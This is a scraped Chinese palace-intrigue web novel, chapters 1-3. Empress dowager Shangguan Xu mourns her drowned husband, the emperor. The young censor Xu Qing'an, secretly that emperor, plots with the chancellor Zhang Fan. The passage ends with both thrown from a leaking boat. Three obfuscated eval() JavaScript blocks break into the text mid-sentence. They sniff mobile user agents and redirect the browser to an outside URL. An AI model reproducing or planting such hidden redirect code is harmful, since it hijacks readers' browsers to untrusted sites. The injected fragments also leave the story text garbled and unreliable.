《权臣与我神合貌离》 1. 第 1 章 春三月,上巳日。 重逢佳节,折杨柳,沾清露,祓禊去灾。 长安城中热闹非凡,有临水绛浮枣,曲水流觞。 男女相会,互赠芍药,以示情长。 少年帝后鸾凤和鸣,于万民瞩目中,携手登舟临水。 曲江池畔,华灯初上,百姓欢声盈耳,只待帝后执手,共洒清露,泽被四方。 然而月明星稀,本是晴夜,江上却突然起了雾,白茫一片,人声似也被阻隔在外,世间瞬时安静了下来。 在静谧茫茫之中,立于江心行舟之上的上官栩也变得有些迷茫,她不禁转头,想去寻身侧之人的身影,但不知怎么,明明二人离得那般近,却在一片朦胧下根本看不清他的面容。 双手相握,指尖触碰到的温度渐冷。 “船舱漏水了!船底破了!” 突如其来的大喊声打破一切沉寂,周遭开始混乱,喧嚣得仿若一下被拉回尘世。 船体倾斜,瞬间栽入曲江之中。 “景哥哥!” “嗡”的一声,四周的水向全身压来,压力和冰冷迅速袭向全身的每一寸肌肤,窒息带来恐惧。 上官栩努力克制住一切,不顾江水寒凉刺眸地睁开眼。 她听见外面人群嘈杂的慌乱声,摒弃掉所有杂念,竭力屏住呼吸,就想着一件事—— 伸出手去拉住刚才的身侧人。 龙袍华贵,大袖浸于水中丝滑如流,随着暗波摇曳,袖间的金丝反出压抑的光。 眼前的人同样伸着手,袖袍挡在身前,有成片的血色在水中漫开,上官栩依旧看不清他的面容。 可是比起这些,她现在更想拉住他,拉上他的手,不再让他被暗流卷走。 然而无论她如何努力,他的手浮在眼前,一动不动,她都只能勉强勾住他腕上的那条红绳。 水影陆离,她清晰地感觉到他正在离她而去,指尖勾住红绳,她无论如何都向下不得,哪怕崩溃至极,心中恳求地喊了无数次“别走”,留住的终究也只有这腕间细小的一物。 红绳勾在指尖,渐渐将身影圈入。 看着他沉底,看着他远去,上官栩呜咽难语,泪水被江水挤在眼眶内,痛苦不堪。 为什么! 又一次,又一次没有拉住你…… —— 已经数不清是第几次,还是第几十次了,上官栩又被自己眼角的酸意涨醒,耳边的发丝也湿了一片。 一直守在前殿的贴身女官青禾端了一盆温水进来,投了手帕,拧干之后捧给她:“娘娘又梦魇了?” 应是刚才上官栩在梦中时又喊了几句话出来,声音传到了外殿教人听见了。 然而上官栩并没有说话,只低垂着眼眸,呼吸轻微,抬手用指尖拂下存在眼角的泪珠,拇指再轻轻按上去。 她的目色淡然又麻木,看着泪珠在指尖拈弄下被顺着指腹往掌心碾破,风一吹,便泛起一阵凉意。 上官栩睫毛闪了一下,这才轻声说道:“他还是不肯见我。” —— 昭帝周景知,庄帝第六子,也是庄帝的嫡次子。 怀太子早殇,昭帝又是庄帝中年才得的最小的一个皇子,所以自幼就被寄予厚望。 昭帝四岁被封为太子,十岁开始理政,虽然登基时才十三岁,但在位期间却平了梁王之乱,护住了大晋安宁,又重视吏治,轻徭薄赋,国力不断壮大。 昭帝一路走来可谓传奇,世人皆评其有明君之相。 然而这一切都在熙宁七年,他即将亲政的那一年的上巳夜戛然而止。 “景哥哥,上巳日,杨柳沾露,祓禊去灾。” 清亮的水滴洒在脸上,少年帝王下意识闭上了一只眼,笑着偏头躲避了一下。 日光透过水珠,愈发暖黄,柔和地映在少年人的脸庞上,衬出他独有的温润气质。 这是她自小的心上人,现在也是她的郎君,她的陛下。 上官栩不由得笑意更甚,将柳枝横转递给了他。 而他一贯温和,并不在意脸上残留的水珠,只笑中带着宠溺,轻柔地接过她手中的柳枝。 上官栩见他执杨柳的手抬起来,阖上眼,清甜婉约的笑意挂在脸上,等着他的动作。 感受到挂在柳枝上的露水轻轻点在了自己的额头上,身前的少年帝王随后对她温声说了句:“祓禊去灾,顺意长乐。” 三月上巳,春和景明,沐兰汤,游春夜,祈福安康。 然而下一刻,曲江之上突然起了一阵风,船体骤然一斜,霎时间,整座游船上下倒置。 帝后同时落水,岸边立时惊呼一片,围在周边的禁军如离弦之箭般纷纷跃入水中施救。 熙宁七年三月初三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715869|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,帝后御舟曲江,舟覆,坠水,后得禁军急救,免于难,而帝不知所踪。七日,下游得帝尸,着龙袍,然久浸江水,已面不可辨。 …… 上官栩拿出珍藏在锦盒中的红绳,这条绳子的年限太久,色泽已经有些发暗。 前殿的侧室内,兰香清幽淡雅,香炉摆在长案上,香霭袅袅,一缕缕地缭绕到正前方高挂的画像上。 上官栩站在长案前,摩挲着手中的红绳,望着,恍恍惚惚又想起了许多事情…… 这条红绳并非如她刚才梦中那般是在水中从他手腕上勾下的。 而是从他尸身上取下来的。 说起来,她都没有见过他最后一面。 他被寻回来的那日朝野轰动,可是每一个上前去看他的人在见到他第一眼的反应都是忍不住地作呕。 在曲江里浸泡七日,他不仅面容被毁了,就是全身上下每一处都变得不堪入目。 这样的他,就算她俯在棺木旁,哭肿了双目,看了一眼又一眼,又哪里算最后一面呢? 其实,她本不相信那是他,哪怕那穿着的就是他的龙袍,她也不信。 他是一国之君,他是她心中一直能将所有事情料理好的景哥哥。 他如何能就这样逝去呢?她又如何能够甘心就这样相信呢? 直到她在尸身腕间的皮肉里摸索到了这条由她亲手编织的红绳…… 他说过,他会一直戴着的。 她相信了。 “怎么就不愿意让我见一面呢?” 上官栩微叹,想够了那些事情后回过神,眼底有些湿润地望向了前方的画像。 是少年人长身玉立的模样。 “是因为你对我的打算生气了么?”她自顾自地神伤道,“可是以前你也总不见我啊。” 又不见她,但却又总来,真是…… 上官栩笑一下,说不出什么情绪:“也罢,不见就不见吧,也习惯了。左尚署的那些画师技艺不错,倒也能将你的模样画出个七八分。” 说着,她神情又蓦地黯然:“不过也只有七八分……”她抬眼,再度看向那副画,“你若是再不来见我,我可就真要忘记你的样子了。” “娘娘。”青禾到了侧室门口向她轻唤。 上官栩转过头去。 青禾垂眸道:“御史台的徐大人来了。” 2. 第 2 章 立政殿内,青年官员着一身深青色官袍,头戴黑色幞头,巾角软垂,却并不晃动,日光透过窗棂洒入殿内,细密的浮尘悄然飘过眼睫,他姿态极好,等待太后的接见。 立政殿本应是皇后住所,但当今皇帝还尚年幼,不仅没有皇后,就是平常政务也需要人代理,上官栩作为其名义上的母后,行垂帘听政之事,立政殿又离前朝更近,她便一直住在了这里。 上官家在庄帝执政期间在朝堂上就有着举足轻重的地位,而上官栩以前虽天真烂漫,但也并非不通世事,相反那些权衡之术、周旋之道,她耳濡目染,学得极好,只是年少时被包围呵护,未有展露罢了。 如今摄政三年多,她不仅在处理前朝政事上行云流水,有了自己的一套独特手段,更是铸就出了一副足够令人敬畏的气场。 还真是变了许多。 青年抬眸一瞬,将她如今的神态尽收眼底。 上官栩自侧室里步出,抬眼瞧过去,正好对上了这一瞬。 然而青年官员却并没有因此收回视线,反是在与她目光交汇后,似笑非笑地眼睫微垂一下,如颔首回应了她一般。 君臣有别,就连臣子与皇帝说话时都需要严格把控与皇帝间的对视次数,更莫说面对太后这样的后宫女眷了。 君臣之礼,男女矩度,青年官员如此行径,实在失礼。 忽然想起,此前在皇帝接近各进士的杏园宴上,他就曾用这样的眼神看过她。 上官栩由此虚了虚眼眸,神情有些冷,不过当下尚还在行进中,她便先回过头去看路,暂时没去管这个。 “臣徐卿安,恭请殿下金安。” 虽有对视,但时间并不长,青年官员在行礼一事上还是做得及时。 上官栩到了位置坐下:“吾安。” 殿中之人立直身子,抬起脸,面泛微笑,再度拱手恭敬道:“殿下安排臣去做的事情如今已经大致差不多了,案中一干人等全部依律处置,只待文书理好,刑部那边复核就会通过,绝不会有漏网之鱼。” 青年声音温和,话中的意思却带着肯定和冷绝,与他现下的神情并不太符合。 上官栩望着他投来的目光,扬了扬下巴:“徐卿不愧为春闱铨选的双元之才,处理起事情这般利落,倒比我想得要快一些。” 徐卿安垂眸:“不敢担殿下夸奖。” 两人之间静了一瞬,上官栩眼角笑意渐消,而青年人抬眼后依旧眉眼含笑。 上官栩不禁将视线多在他身上停留了一会儿。 这个人很奇怪,不仅不避讳她的目光,还总是含笑而视,不过上官栩能感觉出来,他不是在对她笑,他只是在以一种放松的姿态来面对她。 这是为什么? 当真是新人入官场,不知天高地厚? 上官栩想了一瞬,随即又释怀地笑了下—— 她用他不正是因为看上了他这点么,既然如此,还纠结什么? 她收回视线,拂了拂袖:“事情做得不错,可想要什么赏赐?” 徐卿安谦逊道:“为殿下做事是微臣之幸,不敢求赏。” 上官栩说道:“既然是我开口说要赏,你便不必推辞。” 二人的目光再度交汇在一起。 殿中的青年勾了勾唇,拱手道:“那臣便求一个日后能够多为殿下奔袭的恩赏吧。” 这话说得既像只是句客套话,又像是在求重用。 不过不管是哪种情况,对于他现在这种身份倒也都符合。 初入官场难免战战兢兢,却又压不住内里的野心,想要抓住一切机会往上爬。 上官栩忖了片刻开口道:“自然。徐卿大才,我自然是不愿让明珠蒙尘的。” “年关将至,上元夜我与陛下要亲至昆明池,登舟同万民祈福,这案子之后礼部会缺人,你就先去顶上吧。” 徐卿安依旧唇尾含笑:“臣领命。” 一切事宜都安排得差不多了,上官栩让殿中的官员退了出去。 站在一旁,目睹了刚才一切的青禾望着那人的背影消失在殿门拐角后不禁问道:“娘娘真的要打算继续用他么?” 上官栩收回刚才的冷然,打趣道:“怎么?双元之才还入不了你的眼?” 青禾笑了笑:“才华自是够的,只是娘娘也说过用人不能只看才华,不是么?” 上官栩知道她指的是什么,目光温和道:“所以才让人去查了他的底细。”她问,“怎么样,东西送来了么?” 青禾回道:“刚好今日到的,那时您正在午憩,便没打扰您。” 青禾将东西拿了过来,递给了上官栩:“这是去扬州搜寻到他自小到现在的所有经历。” 徐卿安,字晏容,扬州人士,平佑三年春闱状元兼铨选第一,现任御史台监察御史。 上官栩与徐卿安相见的第一面是在今年春闱之后的杏园宴上,彼时,她作为接见新科进士的太后坐在高座,他作为新科状元站在堂下。 一如今天这般,他抬眼望着她,眸若秋水,眉如春山,丝毫不避讳她的目光。 她与他相视片刻,只觉他周身气质温和却冷,一种说不出的奇怪感觉。 如往年一样,上官栩问了进士们以后的抱负和打算。 而他给出了与今日在殿上相似的回答—— “臣只愿为陛下和殿下尽心。” 虽说如今朝堂势力复杂,但这句话在旁人听来也不过就是一个初出茅庐的新秀说的场面话罢了,算不得什么党羽依附。 不过上官栩却记在了心里。 十月铨选,长安城里就起了一阵波澜—— 铨选是所有进士考取为官资格的考试,难度比春闱更大,可今年却出了一个数十年难得一见的春闱铨选双元之才,一时之间,风头无两。 而不久,这位双元之才就被授官为监察御史,并且立马被要求投入到了一桩涉及官员贪腐受贿的案子中。 也就有了今天的这次见面。 上官栩将手中写完徐卿安生平的册子看了个遍,淡声道:“他竟是张凡的学生。” 大晋中书门下行群相制,现有五位宰相,张凡为其中之一,在中书省任职,也是扬州人士。 大晋有“扬一益二”一说,即东南的扬州,西南的益州,在当地有极为重要的经济地位。 扬州多文人,几乎每年进士名列都有扬州学子,所以徐卿安和当朝相公是同乡,并不值得让人多去关注。 上官栩忖道:“他既是张凡的学生,可是为什么之前并没有听说过二人有交集的任何消息,甚至他行卷也不是找的张凡吧。” 青禾回道:“是,之前查过,他行卷投的是吏部侍郎门下,而那位吏部侍郎和张相公私下来往也并不多。” “或许是他们师生之间闹了矛盾,这才保持了距离?”青禾猜测道。 上官栩把册子一下放下,不以为然道:“让人继续盯着他们,张凡这个人恬淡寡欲,和而不争,我不信他们会闹到这个地步。” —— 张凡,名平,字凡,庄帝在位期间的进士,二十多岁时就过了春闱,也算青年俊秀,但从进士到通过铨选,最终拿到为官资格,他却用了十二年。 也是在那些年里,他在扬州收了几个学生。 乌皮靴踩在地上,青石路上脚步声回荡,往上,直缀长袍随脚步摇曳,大袖垂在两侧,在行进中微拂,袖袍丝质如瀑一般,潺潺细腻。 冬日多雪,来人在游廊下行走,从屋檐往下看,只见深灰色长袍款款,腰间佩饰摇摇,白雪皑皑,与瓦檐一起,遮住了廊下人的面貌。 顺游廊一路拐进内院,到了一扇房门前,手一推,跨过门柢,来人径直走了进去。 屋中生了碳炉,院外的飞雪在房门开启的一瞬被吹进些许,飘扬数息,落到地上,但也不过化作盈盈水迹,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715870|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬又没了踪影。 屋内一侧摆了书案,有人早已在此,立身案前,持笔挥毫。 屋中青年似乎早就料到有人会在此时来,在来人走到房中中央位置后,停下笔,抬眼笑道:“您来了。” 来人正是当朝相公,张凡。 而身为一国之相,张凡竟在此时,抬手向屋中的青年行了拱手礼。 “陛下。” 青年摇摇头,笑叹:“您总说我不愿见您,可我哪是不愿见您,分明是不敢见您。” 徐卿安看向屋中之人:“陛下现在正在太极宫里读书呢,张公莫要唤错了。” 张凡自觉失言,但有些东西并非是一朝一夕就能放下的,他苦苦地怅然一笑:“那该如何称呼您?不若唤主公可好?” 徐卿安又是一笑,凝眸望向他:“张公,我现在是您的学生,官职也在您之下,您何必如此?” 他垂眸,神色稍敛:“既然咱们的太后娘娘给我封了一个监察御史的官,张公若不介意,唤我一声徐御史便好。” 张凡轻叹,终是有些不甘心地轻声说了句:“徐御史。” “好。”徐卿安唇角高扬,笑意竟更甚,“下官有幸。” 寒暄之后,便是要着手眼下之事。 张凡走进几步,问道:“今日您入宫见太后,怎么样?她可说了什么?” “她说……我事情办得不错。”说着,徐卿安脸上不禁又溢出一抹笑,想起他在殿下望着她的场景,似回忆如蜜。 然而只飘飘一瞬,下一句他就话风急转,无情地说道:“不过她或许还不知道,那案件名单中还有她上官家的人。” 张凡担忧道:“这样的话,等最后刑部复核完,将文书呈上去时她看见名单后会不会反悔?” “案子都定下来了哪能她说不就不?”徐卿安笔尖沾上墨,重新开始书写,“况且这案子里遭殃最多的还是苏党,她应该不至于为了那一两个人因小失大吧?” “还有,她汲汲营营这么多年,就算不顾及其他的,名声总要保住吧,证据确凿的案子她要反悔,岂不毁了她的贤名?” 当世贤后,正位内朝,盛德天下。 徐卿安不由得嗤了声。 张凡道:“我只是担心您这样做了,她以后会对您不利。” 徐卿安哂笑道:“张公就把心放下吧。” “上官氏的人被卷入这桩案子里虽说是我特意为之,但那两人到底明面上和上官氏相交不多,我一个初入官场的新人哪里会了解这些盘根错节的关系?不过就是一时撞上了,才把他们一起查了出来而已。” “再者说了,也是她让我从严秉公办理,我既照着她的意思来,她凭什么怪我?” 虽有些耍浑,但话却说得在理,张凡便松口气:“您有打算便好。”又道,“眼下看来,太后终于坐不住,要对苏相下手了。” 徐卿安笔下动作行云流水,语气不阴不阳:“分赃不均呐。” “此事之后,她安排我去协助礼部筹备上元节登舟祈福的事宜,若我没记错的话,长安已经许久没有办过大型的临水祭祀活动了吧。” 准确来说,是从熙宁七年三月初三起就没举办过了。 徐卿安记得这天日子。 张凡点头:“据说这次祈福也是太后和苏相商量了许久才定下的,只是不知地点在哪儿?” “曲江?” “昆明池。” 徐卿安随即冷声:“他们怎么敢去曲江呢?” 也不知午夜梦回之际,去到曲江时,他们心底可曾有过一丝不安? 应当没有吧,他们这样的人,哪会在意他们权力攀登路上死在他们手中的冤魂。 “这件事情不会简单。”徐卿安说道,“她才让我为她办了这种拿苏党开刀的事,不会就这样放我去做闲差。” 他气息忽颤一瞬,咬牙道:“她一定会,将我,利用到极致!” 3. 第 3 章 按理说,上元祈福一事应属祭祀这一项事宜,自然也就归礼部管,然而这段时间礼部的人手确实是不太够。 一是之前有桩案子牵扯到了礼部的官员,一时间礼部就空出了几个位置,其实这样也还好,不至于就说缺人手。 然而就在这桩案子之前,礼部侍郎苏尚,持节去了大晋属国西燕出使,那时便带出去一波人,而上元祈福又是岁时重典,一切相关事宜马虎不得,礼部那边人手自然就不够了。 监察御史官阶虽低但权力却大,素有“小宰相”之称,徐卿安去了礼部,更多的其实也行的是监察之权,所以许多时候礼部的人也要敬他三分。 徐卿安是太后直接派去的,自然就需时常向太后汇报典仪的筹备进程。 上官栩听完徐卿安汇报出来的章程,没说什么话,方只问了一句:“我与陛下会在游船上待多久?” 徐卿安如实道:“算上巡游,约莫半个时辰。” “巡游就免了罢。”上官栩头也不抬地说道,“上元天寒,陛下还小吹不得风,祈福之后就安排下船罢。” 察觉到殿下的人沉默了一瞬,上官栩抬眼迟疑道:“怎么了?是觉得我这样安排有什么不妥吗?” 徐卿安立马拾回笑拱手道:“殿下考虑着陛下自是更为妥帖,臣这就去礼部转达殿下的意思。” 上官栩“嗯”了一声。 青禾这时从殿外回来,俯身到上官栩耳侧说了句:“娘娘,大郎君来了。” 上官栩的长兄上官栎。 上官栩便向殿中的人道:“行了,你便去忙自己的吧。” 徐卿安领命:“臣告退。” 转身离去时,殿外的人刚好进来,两人靠近,徐卿安拱手浅浅行了个礼,来人也随和地回了礼,随即又分开。 “娘娘。” “阿兄。” 擦肩而过不久,身后就传来上官栎见礼和上官栩走下尊位相迎的声音。 她走到了殿中位置。 徐卿安脚步忽地一顿,身侧的拳头莫名攥紧,眸色变沉,加快了离去的脚步。 这边,上官栩邀着上官栎到殿侧的位置上并坐,又似嗔怪道:“阿兄总这样,一口一个娘娘地叫我。” 上官栎温声劝:“刚才有外臣在。” 宫女端了宫中的茶点上来,摆在了二人中间的桌案上。 茶是时下最好的蒙顶甘露,糕点也是上官栩特意嘱咐过的,上官栎偏爱的那几种。 宫女将东西放好后,上官栩先抬眼瞧了青禾一眼,青禾便了然地遣了殿中的众人下去。 上官栩这才道:“我知道阿兄在忧心什么,可是你想得太远了,且不说依你现在的官位达不到外戚专政的程度,就是如今我这个垂帘的太后也做不了一拍板的决定啊。” “所以这就是你向苏相下手的原因?”上官栎蓦地问道。 如今朝堂上大致分为三派,除去人数较少且较为中立的散派外,就是以苏望,也就是苏相为首的苏党,以及以上官栩为首的上官一党。 后面两党党首,一个是庄帝钦点的辅政大臣,一个则是有着皇帝母后名号的垂帘太后,如此身份,自会相斥相争。 然而其实苏家和上官家也算是世交。 除却上官栎娶了苏望的长女为妻外,苏家前任家主苏瑜与上官栩的阿爹上官适还同为庄帝的伴读,三人少时一起成长,早年还谱写过一段君臣佳话。 只是可惜苏瑜早逝,苏家的担子便由他的三弟苏望挑了起来,而后面庄帝崩逝,上官适做了两年托孤大臣之后也跟着病逝,这才有了如今的局面。 苏瑜和上官适都是英才,仁民爱物,流化四海,所以如今的苏党和上官党在德行底蕴上不相上下,只是到底苏望更为老成,早早入仕占了许多先机,便让如今的苏党在势力上压了上官栩一头。 然而上官栩现在要动他不只是想要他的权,权力只是他们之间最小的一个争端。 上官栩抿了一口茶,说道:“考虑到阿兄身份不便,所以这件事情没有提前与阿兄说,阿兄今日来找我就是想与我说这事么?” 到底家中有个苏家的嫂子,有些事情总得顾及些。 上官栎轻声:“我只是担心你这样做是不是太着急了,我怕他到时反应过来对你下手。” “事情又不是我做的,他对我下什么手?”上官栩话语轻松却又有底气道,“再说了,那案子里不也有两个是上官氏的人么。” —— 徐卿安去了礼部,将上官栩的话传达了下去。 负责此次上元祈福的官员道:“不巡游?可是这样的活动,百姓齐聚,就是想一睹天家容颜啊。” 徐卿安乜眼过去,冷冷道:“太后娘娘只说了不巡游,又没说祈福的时候船一定要停在岸边。” —— 立政殿内,上官兄妹说完话,先后起身,上官栩本想相送一段,然而上官栎却直接转身作别,她心知他的顾虑,也拗不过他,便随他去了。 人走之后,青禾过来道:“大郎君还是同往常一样支持娘娘的选择,只是难免担心娘娘受到伤害罢了。不过奴婢也想问,娘娘接连给那位徐御史布差,他真的值得娘娘重用么?之前那桩案子他不还牵扯了进了大郎君手底下的人么?” 上官栩勾了勾唇,不以为意道:“算不上阿兄手下的人,不过前些年受过阿爹的点拨,后来便每逢年节多有问候罢了,其实来往得并不多。这案子揭露前,阿兄也没想到这两个人这几年竟走了歪路,所以他觉得现下这样也好,也算清理了门户。” “而同时,在外人看来,就像你想的那样,这案子和我们上官氏也有关,那我就应该不至于对自己人下手吧。” 青禾点头:“如此,苏相也没理由把这件事情怪到娘娘头上来,看来,那位徐御史还歪打正着了。” “歪打正着?”上官栩端起杯,品了一口还未凉透的茶水,说回刚才青禾的问题,“起码到现在为止,我还没想过要重用他,只是现下有些事情、有些罪需要有人帮我去做、去受,而如今又恰好有那么一个人乐在其中,我自然就却之不恭了。” —— 铨选出结果当夜,徐卿安曾被人带走,于一僻静处见了一个人。 “太后娘娘。” 上官栩提前到了房中等候,待到徐卿安来行礼时,她才转过身,屋内明明灭灭的烛火将她羃??下的面容勾勒出来,婉约如雪莲,同时又带点冷。 上官栩听见眼前人微惊的声音之后轻笑一声:“徐卿很意外?可这难道不正是你所想的吗?” 她将往事娓娓道来:“杏园宴上,旁人作诗都以山河牡丹为题,偏你要选什么蝴蝶,还说蝴蝶于你,一枕香迷,能缓诸多往事苦情。” “一枕香迷,蝶栩向西园,余情更苦[1]。你用了《玉京秋》里的这句词,却只说前后不说中间,意欲何为?” “是因为其中有我的名字吧?”上官栩虽问却自答,幂离下的眼神愈发凌厉,“你不说并非是想避讳,而是想让我注意到你跳过了这一句,后来你又作什么‘愿随蝶影同风起,不负青云携梦来’。” “怎么,徐卿是自认自己有凌云之才,青云之志,要借吾之风,扶摇直上?” 徐卿安默了片刻,在自己心思被毫不留情戳破的情况下并不否认,反是从容地笑了笑,拱手躬身道:“烦劳娘娘记挂,雕虫小技,让娘娘见笑了。” 说着,他似难为地笑一声:“不过也不怕娘娘笑话,臣不敢自恃有才,臣在杏园宴上作那样的诗其实也不过是想贪求娘娘的几分关注罢了。” “如今看来你成功了。” “是。” 风吹过烛火,上官栩抬了抬下巴,眼底并未因此染上暖意,更没有因为他的坦诚而欢喜:“为什么?你想要什么?” 而徐卿安抬眼,星目含情,直视幂离后的冷眸:“臣在杏园宴上曾说过,臣想为陛下和娘娘尽心。” …… “又在练字?” “对啊,每次进了宫回来都要练一会儿。” “许是静心吧……” 房门外的议论声传入房中,徐卿安从往事中回过神,又看了一眼自己不知不觉写下的文字—— 蝶栩向西园。 竟写了满纸。 他闭目调息一瞬,手一捏,将整张纸都揉成一团,扔进了纸篓里。 “天寒地冻,莫在外吹凉了身子,屋内生了碳炉,快进来吧。”边说他边用镇尺重新压好一张宣纸。 门外进来两人,除了张凡还有一个年轻人。 这次几人都没有再废话,年轻人率先说:“都安排好了。” 徐卿安问:“陛下呢?” “到时会安置好。” “好。” 几人简单地对了对章程,临别之际,张凡却踟蹰片刻,欲言又止。 “怎么了,张公还有什么想说的么?”徐卿安察觉到问。 张凡道:“我想,以后我们还是尽可能不要见面了,若有事差人送口信就好。” 徐卿安停笔:“这是为何?” 张凡道:“在扬州时,我与徐御史是师生,但到了长安我们却刻意隐瞒了这层关系,既然要隐瞒,就不能让人抓到把柄,而且最近这段时间我也觉得我身边似乎多了几双眼睛。” 徐卿安闻言不忧反笑,重新开始书写:“这不正好么?” 张凡不解。 “先生以为我为何要隐瞒我们之间的这段关系?”徐卿安道,“世上本就没有完美之物,与其让他们找到我们的漏洞,不如主动制造一个,把我们想让他们看到的,能够引起他们注意的……” 徐卿安提笔,桌案上笔洗中的净水映照出青年人的模样。 他乜眼瞧过去。 “送到他们面前!” 狼毫投下,瞬间,水面漫开一片墨黑。 —— 岁逢上元,瑞彩盈天,万民同游,福泽延绵。 上官栩携幼帝和群臣至昆明池畔。 百官的位置都按爵位品阶排列,而站在太后和皇帝旁边的,就是那位权倾朝野的苏相,也是当朝三公之一的苏太尉。 苏望来时,上官栩还客气地与他互打了招呼。 “臣请陛下、殿下安。” “苏公无需多礼。” 二人虽然暗地里相争,但表面功夫却做得极好,加之上官栩又是苏望的姻妹,所以上官栩对他还多有几分晚辈之礼。 上官栩关切道:“近日天气虽然好些了,但到底还未出冬,夜间风寒,苏公可得注意保暖。” 苏望谢道:“有劳娘娘挂怀,昆明池上水雾更重,娘娘和陛下也要多保重才是。” 上官栩别有意味地笑了笑,转过头看向前方、一会儿要登临祈福的游船:“仪式结束就回宫,耽误不了多久。” 徐卿安作为负责此项事宜的监察御史,被上官栩让人调到了前面来,一会儿他也要与她一起登船,协助主持祈福。 “臣请太后娘娘安。”徐卿安来了前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715871|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列。 上官栩问:“都准备妥当了么?” 徐卿安恭敬道:“游船上有关祈福的东西都已备好。” 上官栩“嗯”一声。 一旁苏望观望片刻后开了口:“徐大人果然是青年俊秀,先是夺得双元,如今任职不到三个月又接连办成两件大事,实在是后生可畏,让老夫佩服啊。” 上官栩知道苏望这话里想说的是那桩案子,虽然那里面折的那几个人不至于让他元气大伤,但到底这么多年来还没人敢动到他头上,他这话上明面赞扬,却不知底下藏了多少威胁。 徐卿安作为一个正八品的监察御史也不知受不受得住一个三公首相的威吓。 然而上官栩没有说话,她也想看看徐卿安的反应。 徐卿安向苏望颔首:“承蒙相公夸赞,下官许多事情做得还并不成熟,不过是依律行事,尽心而为,相公德高望重,既是国朝柱石,亦是百官楷模,下官愚笨,日后还得多向相公学习才是,还望相公勿怪。” 语气谦逊,话里话外透着平和,关键是最后那句勿怪,也不知到底含了几层含义。 勿怪愚笨?还是勿怪他之前做的那些事? 倒是挺会周旋。 上官栩挑了挑眉,内里暗叹,但也因此对他立场生了几分怀疑。 几人你来我往的说了几句后,徐卿安便提醒到时辰了,该登舟祈福了。 水声潺潺,夜风轻拂。 上官栩牵着幼帝一起,踩着栈桥,登上了游船。 到了船头、摆放祈福灯烛的香案前,栈桥被撤走,游船开始划行。 上官栩立马回头,向徐卿安轻声质问:“怎么回事?” 徐卿安温声道:“礼部那边认为百姓今日齐聚昆明池就是想一睹娘娘和陛下的容颜,所以祈福会在划行中进行,娘娘放心,仪式一结束,船就会靠岸,不会让您和陛下多受寒风。” 如今船已出行,若是倒转回去反是容易被人看出问题。 既然下船的时间差不多,无妨,无论怎样,今夜的结果都一样。 思及此,上官栩的神色柔下来:“那便快开始吧。” —— “今值上元,万民同在,朕深感天地之恩,生民之托,特率百官于此,共祈上苍垂慈,后土庇佑,护我大晋风调雨顺,国泰民安。” 幼帝在上官栩的带领下说完祈福语,又在所有人的注视下,将香插入了香炉。 至此,事毕,百姓兴声齐呼。 然而这时船舱下突然来了人,焦急地跑到了徐卿安身边低语几句。 徐卿安听完之后蹙眉道:“当真?” 他先问:“可还能修补?亦或撑回岸边?” 船舱漏水了,水流还不小,幸好今夜无风,不至于将船掀翻。 然而徐卿安得到的答案是:难。 很难修补,也很难撑回岸边。 昆明池由人工开凿,引沣水、潏水、滈水而成,再引出至漕渠。 如今百姓站一边,百官站一边,游船一路巡行,正对向无人、引往漕渠的那侧。 游船前端比中段高出几个台阶,已通过百姓瞻仰的位置,上官栩便在此时准备下来。 徐卿安沉吟片刻,在她走到楼梯中间时赶了上去:“娘娘,船舱漏水了。” 上官栩却沉静道:“让人护好陛下,加速把船划回去。” 徐卿安点头:“已经吩咐下去了。” 徐卿安的位置比上官栩矮两个台阶,上官栩闻言顿了一顿,借着地势,不禁从上往下睨向他。 他亦仰脸望着。 二人对视,一切似乎变得宁静,更别说什么脚底下的船舱正在渗水。 这一面光线较暗,她的身躯更挡下他身前大半的烛光,让他有半侧脸都隐在昏暗中,而他就这样回望着她的眼。 上官栩这样并不真切地看着,竟忽然勾了勾唇,在此时开起了玩笑:“徐大人可真是成大事的人啊,如此情况下竟也能处变不惊。” 跳动过来的烛光恰好将徐卿安一侧的笑映衬了出来。 他不紧不慢地说:“娘娘不也是么。” 可话刚一落,船身忽然开始剧烈晃动,徐卿安一改刚才镇定,大呼道:“娘娘小心!” 突如其来的左右晃动,让上官栩在本就狭窄的台阶上更加施不上力,失重感也加剧,偏徐卿安在她身前,她又下去不得。 船上也喧闹一片,上官栩来不及去想船为何这样剧烈地晃动,只在求生的本能下抓住身旁唯一固定的栏杆。 然而下一刻一支长臂却圈了上来,大掌抚在腰上。 上官栩被不属于自己的温热和力量一箍,俯眼瞧了一眼,对眼前这个大胆的青年呵道:“你做什么!” 徐卿安却似并未察觉她怒意一般,反而更加圈紧了她:“娘娘抓稳!” 再一下陡然的摇晃,在船栏边的两人被齐齐晃出游船。 咚的一下,掉入水中。 …… 